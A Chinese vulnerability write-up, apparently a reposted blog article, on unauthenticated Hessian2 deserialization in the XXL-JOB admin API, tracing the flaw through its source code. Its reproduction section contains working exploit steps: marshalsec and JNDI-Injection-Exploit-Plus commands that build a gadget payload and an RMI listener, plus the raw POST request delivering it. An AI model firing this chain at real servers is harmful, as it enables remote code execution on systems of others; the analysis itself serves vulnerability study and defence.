漏洞分析 | xxl-job前台api未授权Hessian2反序列化

admin 2024年4月1日12:57:29评论37 views字数 2389阅读7分57秒阅读模式

XXL-JOB是一个分布式任务调度平台。Hessian2是一种序列化协议,用于在XXL-JOB前后端之间传输数据。

前台API未授权Hessian2反序列化是指,客户端请求XXL-JOB的前台API时,没有提供正确的认证信息,导致服务端无法正确地对请求进行反序列化处理。
0x01 漏洞复现
使用marshalsec生成hessian反序列化数据:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://127.0.0.1:1099/remoteExploit8 > xxx/xxl-job/cmd.ser

项目地址:

https://github.com/mbechler/marshalsec

漏洞分析 | xxl-job前台api未授权Hessian2反序列化

使用JNDI-Injection-Exploit-Plus监听rmi请求:

java -jar JNDI-Injection-Exploit-Plus-2.2-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"

项目地址:

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus

漏洞分析 | xxl-job前台api未授权Hessian2反序列化

发送请求包:

漏洞分析 | xxl-job前台api未授权Hessian2反序列化

数据包:
POST /xxl-job-admin/api HTTP/1.1Host: 192.168.22.5:8080Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Length: 0Content-Type: x-application/hessianUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36{{file(xxx/java/xxl-job/cmd.ser)}}

0x02 漏洞分析

0x02.1 漏洞搭建

版本小于2.0.2

直接clone源码后修改logback.xml的log.path为本地文件路径,然后导入MySQL文件,直接启动即可:

漏洞分析 | xxl-job前台api未授权Hessian2反序列化

0x02.2 漏洞分析

根据请求的接口为api查找到对应的Controller为com.xxl.job.admin.controller.JobApiController,@PermessionLimit(limit=false)这里将limit设置为false就不需要鉴权,进入到这里直接进入下一步:

漏洞分析 | xxl-job前台api未授权Hessian2反序列化

进入

com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler#invokeAdminService

在这里面没有做任何操作:

漏洞分析 | xxl-job前台api未授权Hessian2反序列化

随后就会进入到

com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#handle

首先判断target是否为/services,不是则会进入

com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest

对请求进行处理:

漏洞分析 | xxl-job前台api未授权Hessian2反序列化

进入到

com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest

首先将请求中的body全部读取出来,读取出来的则会直接进行反序列化操作:

漏洞分析 | xxl-job前台api未授权Hessian2反序列化

接下来就是查找是那个类进行反序列化操作,主要通过查找XxlRpcProviderFactory这个工厂类在那些地方被初始化,直接使用idea右键的find Usages:

漏洞分析 | xxl-job前台api未授权Hessian2反序列化

总的就两个地方实例化了这个类:

com.xxl.job.admin.core.schedule.XxlJobDynamicSchedulercom.xxl.job.core.executor.XxlJobExecutor

在这两个类中都是调用

com.xxl.rpc.remoting.provider.XxlRpcProviderFactory#initConfig方法

对成员变量赋值:

漏洞分析 | xxl-job前台api未授权Hessian2反序列化

而在

com.xxl.rpc.remoting.provider.XxlRpcProviderFactory#initConfig方法中的第二个参数

就是刚才调用的反序列化类,通过工厂类返回给

com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest

使用:

漏洞分析 | xxl-job前台api未授权Hessian2反序列化

这里放进去的反序列化类就是com.xxl.rpc.serialize.impl.HessianSerializer ,这里面其实调用的还是Hessian2进行反序列化:

漏洞分析 | xxl-job前台api未授权Hessian2反序列化

漏洞分析 | xxl-job前台api未授权Hessian2反序列化

最终在

com.xxl.rpc.serialize.impl.HessianSerializer#deserialize中进行hessian2

反序列化操作:

漏洞分析 | xxl-job前台api未授权Hessian2反序列化

END

原文始发于微信公众号(杂七杂八聊安全):漏洞分析 | xxl-job前台api未授权Hessian2反序列化

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月1日12:57:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞分析 | xxl-job前台api未授权Hessian2反序列化https://cn-sec.com/archives/2619027.html

发表评论

匿名网友 填写信息